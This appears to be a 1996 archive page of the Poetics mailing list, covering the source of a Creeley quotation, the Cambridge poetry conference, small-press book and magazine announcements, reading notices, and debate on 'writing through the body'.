--> "Form is never more than an extension of content". Of course Olson refers to Creeley saying this in his "Projective Verse" essay. BUT - is this a quote that exists anywhere? I've looked through the correspondence and I do see some wording similar to this but I don't find this EXACT quote. (ie, what Olson cites of Creeley in Creeley's own words) Did I miss this? Is it common knowledge that Olson is rephrasing Creeley and I am simply unaware of it???

You may of course, if you prefer - respond to me directly and not to the list: [redacted]

Thanks!

↑ Index

92. William Marsh - 3809183
Re: creeley quote
Sun 5 May 1996

5/5

In Creeley's letter to O -- Monday / june 5 / 1950 (anniversary next month!) -- "Anyhow, form has now become so useless a term/ that I blush to use it. I wd imply a little of Stevens' use (the things created in a poem and existing there . . .) & too, go over into: the possible casts or methods for a way into/ a 'subject': to make it clear: that form is never more than an extension of content. An enacted or possible 'stasis' for thought. Means to."

You'll find it in _The Complete Correspondence_ Vol. I -- in the Black Sparrow edition (1980) where i found it, on p. 79.

& just for fun: "Stevens' use" refers back to an earlier letter (April 28/50) in which Creeley: "Thinking of Stevens, who slipped into PR, with this: 'Poetic

form in its proper sense is a question of what appears within the poem itself. . . By appearance within the poem itself one means the things created and existing there. . .' Basic." -- A note gives the Stevens quote from: a symposium on "The State of American Writing, 1948," _Partisan Review_, 15 (Aug. 1948), 885.

I'd be obliged to anyone who can point me to something that investigates this Creeley/Stevens connection re form/content -- or more generally on Stevens' influence on C (and/or O).

bill marsh

[redacted]

↑ Index

93. Bob Holman

Re: Poetry and Body

Sun 5 May 1996

WHAT YOU CAN'T UNDERSTAND IS POETRY
IS CONNECTED TO THE BODY AGAIN

Jean allowed the body to drop
The beautiful face bluing so perfect
A fly buzzed by - but no one would believe it
She raced frantically to the offices of the National Enquirer
A reporter wrote up the story - it made the cover
Now she could get the attention of the radical newsweekly
That only told the truth
She just casually flipped it down on the desk
"Hey," an editor reading upside-down said,
"What if this story is true? It would certainly change
Our story - maybe we should look into this.
Hey! Stop those presses!"

Jean walked away. Horns were blaring,
It was a brilliant dusty sunset and the sirens were distorting.
She didn't hear em.
She was remembering her lover's face,
What they'd said about how you never know
If someone else's orgasm is better than yours
But that shoudn't stop you
From coming together
Even if it's not exactly
At the same time.

Bob Holman

↑ Index

94. Chris Stroffolino

Book Announcement (forward)

Sun 5 May 1996

From: IN%"[redacted]" "Cydney Chadwick" 5-MAY-1996 14:16:24.87 To: IN%"[redacted]" "Chris Stroffolino" CC: IN%"[redacted]" "Cydney Chadwick"
Subj: Will you?

by cnsvax.albany.edu (PMDF V5.0-7 #8051)
id <[redacted]> for [redacted]; Sun,
05 May 1996 14:15:29 -0400 (EDT)
by UICVM.CC.UIC.EDU (LMail V1.2a/1.8a) with BSMTP id 5278; Sun,
05 May 1996 13:14:13 -0500
05 May 1996 13:14:11 -0500 (CDT)
(5.65c/IDA-1.5 for <[redacted]>); Sun, 05 May 1996 11:10:01 -0700
05 May 1996 11:06:38 -0700
Date: Sun, 05 May 1996 11:06:37 -0700 (PDT)
From: Cydney Chadwick <[redacted]>
Subject: Will you?
To: Chris Stroffolino <[redacted]>
Cc: Cydney Chadwick <[redacted]>

Will you please forward this post to the Poetics List? Your review copy
is going out tomorrow.
Thanks!
Cyd

New from Avec Books
Channel-Surfing the Apocalypse
(a day in the life of the fin-de-millennium mind)
by Susan Smith Nash

/Fiction/ Women's Studies/Cultural Studies

Channel-Surfing the Apocalypse is a collection of outrageously funny, poignant and insightful no-holds-barred fictions from a writer who characterizes them as,"stories about and from women driven mad by dysfunctional relationships." And yet, the stories are more than installations in the current soap-opera of gender wars. They peel the armor off of the souls of men and women facing the millennium and attendant apocalyptic madness. Like all fiction written during times of universal insanity, these stories are not mad diaries. These "furious fictions" are intensely sane and personal, and they leave the reader with a sense of restored perspective and good humor. They appeal to readers who are interested in gender issues, women's studies, experimental fiction and cultural

criticism. Selections from the book have been awarded a Gertrude Stein Award for Innovative Writing. A critically-commended video based on a chapter from thebook, which features the author and her voice , is also available.

"Susan Smith Nash's book Channel-Surfing the Apocalypse is very interesting. It is certainly a new approach to an area of writing. . .can I call it fiction(?). You cannot read this book without paying attention. . .it demands attention...demands a double-take. Susan Smith Nash deserves such attention. She has created an up-to-the-minute post-AIDS statement." --
William S. Burroughs

"Insistently parochial, the voice in this book is Oklahoma unalloyed. The apocalypse arrived early here, on television, and this fertile, lyrical, creepy, ovidian book is its detonating antiphon. Remarkable."--Diane Middlebrook

"Susan Smith Nash is a reporter commissioned by the muses, a kind of higher intensity poet-version of Christiane Amanpour, reporting live from all the intimate and mysterious combat zone that fill our world with terror."--Robert Kelly

"The works of Susan smith Nash are fireworks, with much more than flash. They are bold, funny, and brilliant, illuminating corners of the literary landscape that have been dark for a long time." --Beth Joselow

Pub. Date: May 2, 1996. ISBN: 1-880713-06-3. Price $11.95. 192 pages. Perfect Bound. Distributed to the trade by Baker & Taylor; Bookpeople and Small Press Distribution. For Direct orders: Avec Books, P.O. Box 1059, Penngrove, CA 94951 (please add $1.50 shipping).

Note to
booksellers: a
discount is
available
with
prepayment

↑ Index

95. William Slaughter
Small Press Distribution?
Sun 5 May 1996

I used to be on SPD's mailing list, receive their catalog, order from them, etc., but haven't in a while. I can't find an address for them and would appreciate some one among you posting it. (There have been several recent mentions of SPD on the Poetics List but I haven't seen the address.) I'd appreciate phone and fax numbers for them too. E-mail? Thank you.

Bill

William Slaughter

_____
[redacted]

↑ Index

96. Charles Alexander
Re: Small Press Distribution?
Sun 5 May 1996

Small Press Distribution Inc
1814 San Pablo Avenue
Berkeley, CA 94702
[redacted] (phone)
[redacted] (fax)

> *I used to be on SPD's mailing list, receive their catalog, order from them, etc., but haven't in a while. I can't find an address for them and would appreciate some one among you posting it. (There have been several recent mentions of SPD on the Poetics List but I haven't seen the address.) I'd appreciate phone and fax numbers for them too. E-mail? Thank you.*
>
> *Bill*
>
> *William Slaughter*
>
> _____
> [redacted]

↑ Index

97. cris cheek
Re: H/EAR WAS Re: Ear on Saturday
Mon 6 May 1996

> *I was just wondering if anybody had heard of / or contributed to Kris Hemnesly's wonderful magazine EAR IN A WHEATFIELD (I think) which latter became a poetry gossip/correspondance magazineH/EAR?????*

Hi Mark, well mm yes. I was never in it but Kris was based in Britain where the magazine first emerged before he split for Australia in the mid 1970s. Other s here might be able to tell you more. I think its follow up magazine was named 'the merry creek or nero' (?) of which I've got a copy somewhere, but don't expect me to put a quick hand onto it. Kris was editing here at the same time as the extraordinary Fluxshoe series / Paul Buck's excellent 'Curtains' / Allen

Fisher's 'Spanner' (still in progress and about to go net versions) / Pierre Joris' 'Sixpack' / Elaine Randall's 'Amazing Grace'. Hey're all well worth checking out. STill exceptionally vibrant work - in my humble estimation. Is Kris still active?

love and love
cris

↑ Index

98. cris cheek
Re: Cambridge Conference on Contemporary Poetry
Mon 6 May 1996

Hi, re - CCCP 6, in Peter's wake, not a great deal to add. I was present for all of it but the session on magazine editing during which I drove to Norwich to pick up a poem that David Marriott had requested (first request I've ever done) and also listen in on some electronic treatments of weaving machines for a forthcoming installation by Sianed Jones called 'Carthen'. SO my editing session was perhaps more lively and enjoyable than the report backs I got from those who stayed on in the hall.

However, most of the readings were pretty packed. Of those that Peter didn't make or mention. Simon Perrill described other unnamed poets as producing work 'paling into significance'. He read strongly as did Mas Abe who I enjoyed most when he read in Japanese and Adrian Harding whose work I didn't known and will certainly try to follow, there being something coming and going there in a ruminative everyday consciousness gardening that I want to read more closely.

Lisa Robertson read very confidently from 'Debbie', measured and arrowing thickets of irony / Les Murray was unprepossessing and jovial (he had a pretty good bat poem which went off into giggling bat language) and there seemed to be cattle all over his writing which has left a humane trace without setting this particular bush on fire. Ian Patterson gave us the best Duino Elegy translation I've heard to date (I've tried to encourage him to do the whole series and get them published, terrific work).

As usual in England the gremlin was a lack of places to go eating late at night (meaning any time after 11!), so post-reading get downs tend to degenerate into scurries round emptying streets for fast food or even worse after last orders and the bars tip out.

Sunday began in the afternoon (Brian Catling, Caroline Bergvall and myself had all protested at being expected to perform in the morning). I read 'Skin upon sKin' which will be out on CD in about 6 weeks (I know the dates keep fading,

but it's really on the way - backed with a version of the recently published 'stranger'), Caroline read two fine recentish pieces 'The Hungry Form' and 'Don't Push It' whilst Brian read from 'Cyclops' material alongside rough edits of videos from various version of that. What can I say - I though we were all terrific. It's worth noting here that many of the poets at this year's conference read from long work. In mine and Caroline and Brian's cases the writing is versioned in various ways so as to become 'pieces' of multi-faceted performance writing through which aspects of peritext are frequently exploded, exploited and re-situated into version upon version.

Harry Gilonis performed a generous and breath-stretching tribute to Sorley Maclean using pibroche (basically bagpipe form) musical constraints effectively (I'm looking forward to the simultaneous English-Gaelic version Harry if you're here). Rod Dickinson is a poet well worth checking out for those who don't already know his work. Brilliant sonic elision's using Gaelic to punch exquisite interferent holes into the scope of his writing. The glosses also being cogent.

Finally we had a strange (for me) mixture of Kelvin Corcoran (who's just not a confident presenter of his own work - you know, oh-oh, I really think that there shouldn't be any expectation on poets to have to read or to be able to read. I know it's a way of getting around and so on (and some awkwardnesses can be utterly compelling, but . . . any thoughts anyone?), Alan Halsey who chose, a misjudgement in my opinion, to read Robin Hood stories. The grouping was lifted by Pascal Monnier who sounded intriguingly elliptoid and discursive, through my so-so French (so I'm probably completely wrong - those might just be the features of my processing) and I could have listened for longer than she was given.

But a good conference all in all.

love and love
cris

↑ Index

99. henry gould
Re: body peotics
Mon 6 May 1996

On Sun, 5 May 1996 13:22:13 +0200 Jondi Keane said:
> Henry Gould wrote <<Whether coming from the groin or the groan or the grin
>I would want to withhold calling it "poetry" until I was able to grasp to
>some extent what is the poetic-communicative message/massage gestalt
>or whatever. Poetics IS about poetry, that by gum I'll stand-by.>>
>

>perhaps peotics has been taken up into poetry the way testicles are taken up
>into the martial artist. It is an activity which requires much learning and
>dicipline but ultimately is a defensive posture based on a peculiar idea of
>conservation, and from where not much productive can be done.

I take it this is a "slight". I'm not sure where it's issuing FROM, but I see what it's writing TO: the solar plexus. Nevertheless, I don't think Jondi at least in this post has addressed my previous remark: that the idea that writing issues "from" some particular psycho-organic place - whatever the new thrills of intellectual exploration it may seem to provide - is already structured on some kind of unstated grid which, like Descartes, divides body from mind. My point was that poetry takes as its domain the "body" of the universe, and poetics is the study of what poetry makes of it. Poetry might include toe-talk and martial arts, but toe- talkology will not replace poetics in that field. The "talk" of the body might be included in all the repressed or missed sensations which poetry tries to bring to light, but once body starts talking in language it's already entered the sphere of poetics. - Henry Gould

↑ Index

100. Robert Drake
visual poetry invite (forward)
Mon 6 May 1996

<begin forwarded message>

Date: Mon May 6 00:23:02 1996
From: [redacted] (Juan Ramos Alvite)
Subject: padin

AMERICAN VISUAL POETRY EXPOSITION

I am asked you to send me one or two visual poems (size 44x28 cm.
aprox. including white margins) for an exposition at the IV
Congress of the Brazilian Poetry.
This invitation is only for americans (other people are preparing
shows from other continents).
Visual poetry are works that primordially use the images of the
language-signs whatever its form or support may assume, with
semantic expression or not, with signs of other languages or not
etc.
Deadline: July 30, 1996.- Please, invite your friends
Send to: Clemente Padin-C.Correo Central 1211-11000-Montevideo
URUGUAY.
Fraternal Greetings:

Clemente PADVN.-

<end forwarded message>

lbd

↑ Index

101. John Cayley
Oisleand - New Cybertext
Mon 6 May 1996

** Apologies for cross postings **

Oisleand
--- ---

Indra's Net IX

oilean is la brea lunasa do chorp
^ ^ ^ ^ ^ ^

broad filling sails ocean heat island flesh
^ ^ ^ ^ ^ ^

'Oisle=E1nd' is an exploration of the
translation and transformation of one
written language into another. In its
cybertextual form (as computer software
encoding a literary object - specifically
a HyperCard stack and graphics files
which you may download as shareware) it
uses mesostic techniques to sow the text
of either original or translation within
the spelt words of the parallel text in its
corresponding language.=20

A set of 'Frozen & Painted Readings'=20
- colour screen shots which capture and make=20
clear the principles have been posted on
the Web at:

http://www.demon.co.uk/eastfield/in/oisleand.html

If you have not visited the 'Indra's Net' site
recently, please do so. There is a lot of new
material:

http://www.demon.co.uk/eastfield/in/

'Oisleand' (excuse the lack of diacritical marks
in this text announcement) was commissioned
as one contribution to a touring exhibition
of visual art / craft engagements with poetic
writing entitled 'Words Revealed'. (The
exhibition opens at the Midlands Art
Centre, Birmingham, UK, 11 May 1996.)
Apart from its visual content, the
exhibition was developed around a focus
on writing in Irish, or by Irish writers in
English.

↑ Index

102. Chris Tietjens
peo ple apo ria
Mon 6 May 1996

And Writing from a moment of crystalline indecision constructed from the infintie possibilities of both would be the romantic moment, perhaps most easily, Coleridge.

So poetics is the testicles of poetry?

'What has been done by people who have found themselves discussing Coleridge
has been, usually I think, to put a ring-fence round a very small part of his thought, and say, "We will keep inside this and leave the transcendental and the analytic discussions to someone else." But this practice results in what is essentially a fraud.'
--I. A. Richards

↑ Index

103. M. Magoolaghan
Re: creeley quote
Mon 6 May 1996

On Sun, 5 May 1996, William Marsh - 3809183 wrote:

> *I'd be obliged to anyone who can point me to something that investigates this Creeley/Stevens connection re form/content -- or more generally on Stevens' influence on C (and/or O).*
>
> *bill marsh*

dear billiam:

nice to see you on the list! thanks for tracing down the form/content quote. wrt stevens' influence on creeley, see the spring '93 special issue of _the wallace stevens journal_, which contains an interesting short piece by creeley called "in respect of wallace stevens" (it begins: "i recall being very intent upon stevens in college days") as well as responses to stevens by the likes of kathleen fraser, bob perelman, charles bernstein, and many others.

not sure what olson thought of wally, though i'd be curious to find out.

that's all for now--mo' later,

mm

^^^

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SUBMISSIONS FOR VOLUME 3 NOW BEING SOUGHT
Send submissions, brief bio and ssae to ars poetica PO Box 455 Bairnsdale Victoria Australia 3875

Also seeking artwork (will consider any genre) for cover of ars poetica 3. Closing date for submissions for No. 3 is 20 July 1996.

Payment to contributors is two copies of the volume in which their work appears. Please allow up to six weeks for response to submissions.

ars poetica volume II' will be launched by Michael Dugan on 11 May, 1996. 6-8pm with readings by: Earl Livings, Vera Urban, John Jenkins, Catherine Magree and Michael Crane at the Hawthorn Lower Town Hall 360 Burwood Rd, Hawthorn, as part of the Booroondara Literary Festival (formerly the Hawthorn Lit. Festival). Entry is free, and a light supper will be provided for what promises to be an excellent evening's poetry. ALL WELCOME!

****

AWOL
Australian Writing On Line

http://www.ozemail.com.au/~awol
PO Box 333 Concord NSW 2137 Australia
Phone 61 2 7475667
Fax 61 2 7472802

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia

[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

105. Mark Roberts

H/EAR WAS Re: Ear on Saturday

Mon 6 May 1996

> *Sat. May 4th @ 2:30 (yes, PM)*
>
> *Robert Mittenthal*
> *& Rod Smith*
>
> *Ear Inn, 326 Spring Street, NYC*
> *ph* [redacted]
> *Not free, sort of.*

I was just wondering if anybody had heard of / or contributed to Kris Hemnesly's wonderful magazine EAR IN A WHEATFIELD (I think) which latter became a poetry gossip/correspondance magazineH/EAR?????

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

↑ Index

106. Alan Golding

Visual page; Stevens and Creeley

Mon 6 May 1996

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Another anthology of interest for anyone pursuing questions of page design: L. C. Breunig's *The Cubist Poets in Paris* (U of Nebraska P, 1995?)--first part of the century, as you'd expect from the title, non-English language with facing translations.

Bill Marsh: on Stevens and Creeley--Albert Gelpi edited an essay collection some years ago, *Wallace Stevens: The Poetics of Modernism* (Cambridge,

1985), in which Michael Davidson and I both have essays that touch on the Stevens-Creeley connection in passing without pursuing in depth. Still, you might find the general context of the essays relevant to your questions. Michael's piece is on Stevens and contemporary poetics, mine is on intersections between the allegedly opposed (or so they tended to be seen then) Stevens and Objectivist lines, via a discussion of WS and Zukofsky (something on which our listmate, Mark Scroggins, has done more recent and fine work).

Alan

↑ Index

107. Jordan Davis
apopleptic in peoria, is not
Mon 6 May 1996

---

so what then is not writing through the body.
I take it a natural history of the senses is not writing through the body
tho empire of the senseless might be.
that is [gestalt and] not compartmentality.
is not professional wrestling fixed.
--Jd

↑ Index

108. Jordan Davis
apoplectic in mississippi
Mon 6 May 1996

---

sorry lost my dialeptic anybody seen her?--Jd
(I mean my diallel)

↑ Index

109. Matthew S Sackmann
I'm sorry...
Mon 6 May 1996

---

could someone please take me off this list, im going home for the summer. id still like to continue receiving the discussions so if someone could send me the info to subscribe at [redacted] it would be greatly appreciated. Thanks A lot!!!!

---------- matt

"Jesus was all virtue, and acted from impulse, not from rules."
-William Blake

↑ Index

110. David Baratier
Re: blocking poems
Mon 6 May 1996

Ernst Van Alphen, thats it, thanks. From my understanding, this thread was not only asking about cubism, concrete poetry and the like, but also about transferrence between the visual experience and its subsequent translation onto the page. This residue of activity apparent in the finished product is freshly captured within the Alphen book. This text also seques into the "body" thread, for Bacon believed the human body was in a sense a filter, apart from its other attributes, abbreviating experience into intensity.

Be Well.

David Baratier

↑ Index

111. George Bowering
Re: beckett
Mon 6 May 1996

Just back from the Beckett festival in Victoria. Saw 21 plays! Heard a lot of papers, but the papers were not as interesting as the productions. For me the highlight was Fred Neumann's performance in _Worstward Ho_. Of course, one is lucky to see it, because he is so good, and because other actors are afraid to do it because Neumann has sett his stamp on it. Contorski was there with his Beckett haircut and too-short pants, nice touch, that.

"Toujours est-il que je redoute le signal de l'horrible petite trompette."
-- Cocteau

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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112. Paul Beidler
L E G A C I E S conference cfp
Mon 6 May 1996

Call for Papers:

L E G A C I E S

A cross-disciplinary conference hosted by the Nineteenth-Century Group at the University of Toronto

September 27-29, 1996

Our keynote speakers are Sally Mitchell (Temple University) and Michael Millgate (University of Toronto).

The theme of this year's conference is the cultural manifestations of inheritance in the period 1780-1901. Possible topics might include, but are not limited to:

* Narrative, Genre and Tradition
* Heredity and Genetics
* Initiation and Baptism
* History, Memory and Identity
* Patronage and the Arts
* Wills and Bequests
* Change, Stasis and the Law
* Convention and Invention
* Original Sin and Adamism

We encourage papers and panels that investigate literature, history, drama, fashion, economics, music and the performative arts, theology, philosophy, the law, technology and industrial design, politics and science in the period from graduate students, faculty and independent scholars.

Please send 300-500 word abstracts (3 copies) postmarked no later than June 1, 1996 to:

Legacies Conference Committee
Graduate Department of English
University of Toronto
7 King's College Circle
Toronto, Ontario
M5S 1A1

Abstracts and queries can also be e-mailed to Ann-Barbara Graff at [redacted] or faxed to [redacted].

Please see our web site for updates:

http://www.chass.utoronto.ca:8080/~pbeidler/legacies.htm

/*\ "It is our nature to wish to continue our systems and thoughts to posterity through our own offspring." (_The Last Man_, Mary Shelley)

"I have often thought that property, coming in such a way, was a curse, and that the parties could have been far better off, had the parent had merely a blessing to bequeath them from his or her lips, instead of a will for them to dispute and wrangle over. " (_Advice to Young Men_, William Cobbett)

"Women are generally thought to possess sweeter voices than men, and as far as this serves as any guide we may infer that they first acquired musical powers in order to attract the other sex. But if so, this must have occurred long ago, before the progenitors of man had become sufficiently human to treat and value their women merely as useful slaves." (_The Descent of Man_, Darwin)

"The creation of a thousand forests is in one acorn, and Egypt, Greece, Rome, Gaul, Britain, America, lie folded already in one man." ("History," Emerson)

Outward respect of word and manner, may and must be shown even though the parent be drunken and depraved. The girl should strive to show respect. Father and mother are honourable names even though the bearers thereof fail to act up to them.

Anonymous, _Girls: Their Work and Influence_ (1879)

(a religious tract for females of the lower classes)

-- "I am uneasy to approve of one object and disapprove of another; call one thing beautiful, and another deform'd; decide concerning truth and falsehood, reason and folly, without knowing upon which principles I proceed. I am concern'd for the condition of the learned world, which lies under such a deplorable ignorance in all these particulars. I feel an ambition to arise in me of contributing go the instruction of mankind, and of acquiring a name by my inventions and discoveries. These sentiments spring up naturally in my present disposition; and shou'd I endeavour to banish them, by attaching myself to any other business or diversion, I _feel_ I shou'd be a loser in point of pleasure; and this is the origin of my philosophy." David Hume, _A Treatise of Human Nature_ I.iv.7.

↑ Index

113. Shaunanne Tangney

Re: queery

Mon 6 May 1996

---

hello all--

i will be teaching creative writing in the fall, and would very much like to take a look at june jordan's poerty for the people "textbook"--but i can't find it in books

in print--it isn't out of print, is it??! does anyone out there know the exact title?--this might help my search!

thanks so much,
shaunanne

ps--i know this is a poetics list, but i also have to teach fiction in
this calss--anyone got any ideas for a "text" here?
st

↑ Index

114. Kurt Nimmo
Poetry website
Mon 6 May 1996

Hi, folks...

I'm new to the list. Still lurking, checking out the discussion.

If you have a web browser (preferably Netscape 1.2 or later), please feel free to check out the following poetry website:

http://ic.net/~knimmo/pngon01.htm

We are also accepting submissions for future issues.

Thanks...

Kurt Nimmo
[redacted]

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115. Robert Drake
Re: Book Announcement (forward)
Mon 6 May 1996

Cydney thought this might not have gotten through... apologies if it's a repeat... lbd

<begin forwarded message>

New from Avec Books
Channel-Surfing the Apocalypse
(a day in the life of the fin-de-millennium mind)
by Susan Smith Nash

/Fiction/ Women's Studies/Cultural Studies

Channel-Surfing the Apocalypse is a collection of outrageously funny, poignant and insightful no-holds-barred fictions from a writer who characterizes

them as,"stories about and from women driven mad by dysfunctional relationships." And yet, the stories are more than installations in the current soap-opera of gender wars. They peel the armor off of the souls of men and women facing the millennium and attendant apocalyptic madness. Like all fiction written during times of universal insanity, these stories are not mad diaries. These "furious fictions" are intensely sane and personal, and they leave the reader with a sense of restored perspective and good humor. They appeal to readers who are interested in gender issues, women's studies, experimental fiction and cultural criticism. Selections from the book have been awarded a Gertrude Stein Award for Innovative Writing. A critically-commended video based on a chapter from the book, which features the author and her voice , is also available.

"Susan Smith Nash's book Channel-Surfing the Apocalypse is very interesting. It is certainly a new approach to an area of writing. . . can I call it fiction(?). You cannot read this book without paying attention. . .it demands attention...demands a double-take. Susan Smith Nash deserves such attention. She has created an up-to-the-minute post-AIDS statement." --William S. Burroughs

"Insistently parochial, the voice in this book is Oklahoma unalloyed. The apocalypse arrived early here, on television, and thi fertile, lyrical, creepy, ovidian book is its detonating antiphon. Remarkable." --Diane Middlebrook

"Susan Smith Nash is a reporter commissioned by the muses, a kind of higher intensity poet-version of Christiane Amanpour, reporting live from all the intimate and mysterious combat zone that fill our world with terror."
--Robert Kelly

"The works of Susan smith Nash are fireworks, with much more than flash. They are bold, funny, and brilliant, illuminating corners of the literary landscape that have been dark for a long time." --Beth Joselow

Pub. Date: May 2, 1996. ISBN: 1-880713-06-3. Price $11.95. 192 pages. Perfect Bound. Distributed to the trade by Baker & Taylor; Bookpeople and Small Press Distribution. For Direct orders: Avec Books, P.O. Box 1059, Penngrove, CA 94951 (please add $1.50 shipping). For additional information, contact Cyney Chadwick: [redacted].

Note to booksellers: a discount is available with prepayment.

<end forwarded message>

↑ Index

116. Chris Stroffolino
Re: beckett
Tue 7 May 1996

Dear George Bowering---
tell me more about BECKETT, please! (cs)

↑ Index

117. George Bowering
Re: writing through
Tue 7 May 1996

Last week while at the Beckett conference I couldnt do number two. I sat there and sat there, saying "I can't go. I'll go." Only when I got home did I go out to compost the garden , squatted there for a while, and moved around, managing to spell out three longish words. Is that called writing through the body?

"Toujours est-il que je redoute le signal de l'horrible petite trompette."
-- Cocteau

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

118. George Bowering
Re: Creeley::Boulez??
Tue 7 May 1996

> *Creeley uses sound like Pierre Boulez.*

Try Ch. Parker.

"Toujours est-il que je redoute le signal de l'horrible petite trompette."
-- Cocteau

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

119. Aldon L. Nielsen
Re: query re: the queering of Sapphics
Tue 7 May 1996

But did you ever try to look up that passage from "Sappho" that leads off _Dictee_; Nothing in this book should be taken at "face" value -- especially the faces in it --

??

↑ Index

120. David Baratier
Booglit Benefit Reading
Tue 7 May 1996

Featured Readers:
Todd Colby
David Baratier
Bill Luoma

Also Chris Stroffolino and Chris Butters are slated.

Booglit will be publishing a number of limited edition chapbooks for the reading, including _Compartments (a short run)_ by David Baratier

@ Luna Park
Friday May 31st @ 7:30 pm
249 Fifth Ave.
Brooklyn, NY
(Between Carroll Street and Garfield Place)

↑ Index

121. John Geraets
Re: Tasmania
Tue 7 May 1996

It's a little quieter now. The thing that's struck me (not a victim thing) more than the tragedy in Tasmania, was how attentions is made to function nowadays.

The interesting question is what attracts our talking to each other.

John Geraets

↑ Index

122. Peter Larkin
(Fwd) Cambridge Conference of Contemporar
Tue 7 May 1996

Forwarded message:
From: Self <LIBRIS/LYAAZ>
To: [redacted]>cc.buffalo.edu
Subject: Cambridge Conference of Contemporary Poetry
Date: Tue, 7 May 1996 09:38:42

Though I missed his reading, I can confirm cris's impression that Adrian Harding is someone to look out for. I picked up some of his work at the event, and (assuming it's the same person) I have been reading a fascinating essay by him on "Melancholy and Technology", a welcome break from too much cyberspace euphoria. As for cris's comments on confidence and performance, there does too often seem to be a general space of sag from which poets offer themselves. The performable aspect of any poem ought to make more of a difference to that predicament than it does. There may be more UK sag than US. Peter

Peter Larkin Philosophy & Literature Librarian
University of Warwick Library,Coventry CV4 7AL UK
Tel:01203 524475 Fax: 01203 524211
Email: [redacted]

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123. Douglas Messerli
special sales from Sun & Moon Press
Tue 7 May 1996

Sun & Moon Press announces some very special sales for participants in the Poetry List:

RIBOT 1, 2 and 3 (regularly $9.95 an issue, for $4.00 an issue)

Ribot, edited by Paul Vangelisti, has become one of the most significant new poetry magazines.

Issue 1 contains new work by Dennis Phillips, Nathaniel Tarn, Todd Baron, Martha Ronk, Norma Cole, Enzo Cucchi, Amelia Rosselli, Amiri Baraka, Adriano Spatola, Gottlieb Kasper, Douglas Messerli, and Luigi Ballerini

$4.00

Issue 2 contains work by Sam Eisenstein, Mac Wellman, Amiri Baraka, Frank Chin, Ray DiPalma, Nick Piombino, Dennis Phillips, Robert Crosson, Adonis, Guy Bennett, Todd Baron, Michael Clinton, Jerry Rothenbergh, Diane Ward, Martha Ronk, Leland Hickman, Douglas Messerli, and George Herms

$4.00

Issue 3 has new writing by Ameila Rosselli, Bruce Andrews, Ray DiPalma, Charles Bernstein, Felisberto Hernandez, Leslie Scalapino, Norma Cole, Dennis Phillips, Rodrigo Toscano, Will Alexander, Gottlieb Kasper, Nick Piombino, Cristina Peri Rossi, Sheila Murphy, Spencer Selby, Marshall Reese, Martha Ronk, Fernando Sorrentino, and many others.

$4.00

Sun & Moon is also offering, for a special, limited time,
FROM THE OTHER SIDE OF THE CENTURY: A NEW AMERICAN POETRY 1960-1990

very slightly damaged copies (corners slightly bent) for only $5.00; the regular price is $29.95.

All orders are the quoted price plus $1.00 shipping and handling.

Please order from our website: http://www.sunmoon.com

or through our E-mail page: [redacted]

We will bill you.
Thanks, Douglas Messerli

↑ Index

124. Samuel R. Truitt
Re: creeley quote
Tue 7 May 1996

A poem is never more than the gap between its form and its content.

↑ Index

125. Alan Golding
Jordan
Tue 7 May 1996

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Shaunanne--D'you mean her collection of political essays, *Technical Difficulties*? (Virago, 1993 in my edition). Maybe not. Then there's the essay that prefaces *Passion* (Beacon, 1980), called "For the Sake of a People's Poetry: Walt Whitman and the Rest of Us."

Alan

↑ Index

126. Charles Bernstein
Reading 5/17 NYC
Tue 7 May 1996

Ann Lauterbach
Charles
Bernstein
Bruce Andrews

will be reading at the

ICHOR GALLERY
127 West 26th Street
(Manhattan)

Friday May 17 at 8:30pm

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127. Tony Green
Re: Creeley::Boulez??
Tue 7 May 1996

Try
Miles

Davis
and soon

it will
be Mr

Creeley's
70th

birth-
day.

Tony Green,
e-mail: [redacted]

↑ Index

128. **Bob Holman**
USOP
Tue 7 May 1996

Aldon, thanks for USOP commentary few days back. More expansive is what you seek, and I m certainly with you there, whether in the Olsonian or simply in more varied poetics. Mandate for USOP was a geographic, cultural AND aesthetic landscape exploration, not only for the series but each half-hour segment, and in that order. The themes of the shows also dictated, considerably, the pool of poems. Much of the more expansive poetry is not about anything. The final show (The Word) allowed for some, with Carla H, Eigner, and Creeley. Tried hard for a Susan Howe piece... among others. Maureen Owen was to be in a sixth show, cut for funds (she s in the Abrams book.)

Carter, far from being elder statesman of poetry, is in the series, to me, an Everypoet. Hey, if Jimmy can do it etc. I do like his poem, one of several in his _Always a Reckoning_ with an ironic fillip that pushes off his sentimentality.

As for Barbara Kruger (always nice to give Barbara Kruger even more credits than she already has), her propaganda verbiage was art analogue for director Mark Pellington -- his videoizaton of her pieces, did it make them more/less poems ?, is a question. As for implication that this should have been more alternative -- poetry itself is so alternative, marginalized, that we needed all the name recognition we could find to get whatever attention we did get. As I ve mentioned, PBS itself refused to broadcast nationally, shying away from content, and only half the stations nationwide have aired the series so far. Kruger (and Jenny Holzer, from show 5 again), in a poetry show, are they now poets? where does TV end and art/design/poem begin? Or is video simply a means of transmission of the poem? It gave a luster, too, and they gave spirited collaborative energy, not to be discounted. Our original idea of having various directors, allowing the curent vidPo makers to participate was nixed by ITVS, our funder: they felt strongly that it would take a single director to pull the porject together.

The McCann/Harris reference (Try to make it Real/Compared to what) is most applicable -- it was the theme song for the WNYC-TV series poetry Spots I produced for six seasons.

I m with you for more expansive future editions. Write/call your PBS stations and ask for them to show/repeat USOP. Or just bug em for more po. Current plans at washington Square Films are to produce single poem videos with director/poet collaborating, then form shows later. The floor is open for backchannel nominations.

FYI: Josh Blum, the other producer of USOP, and I will be on the Hot Seat at Steve Cannon s Tribes Gallery, 285 E. 3rd (C-D) in NYC on Sun, May 19, 5-7. A benefit for Steve s gathering of the Tribes mag, we ll show various segments and get assassinated by the audience. As Ashbery says, Purists will object.

↑ Index

129. Thomas Bell
threw the body
Wed 8 May 1996

---

two other perspectives on how and what we go through in writing and reading the body through poetry (or petry through the body)? tom

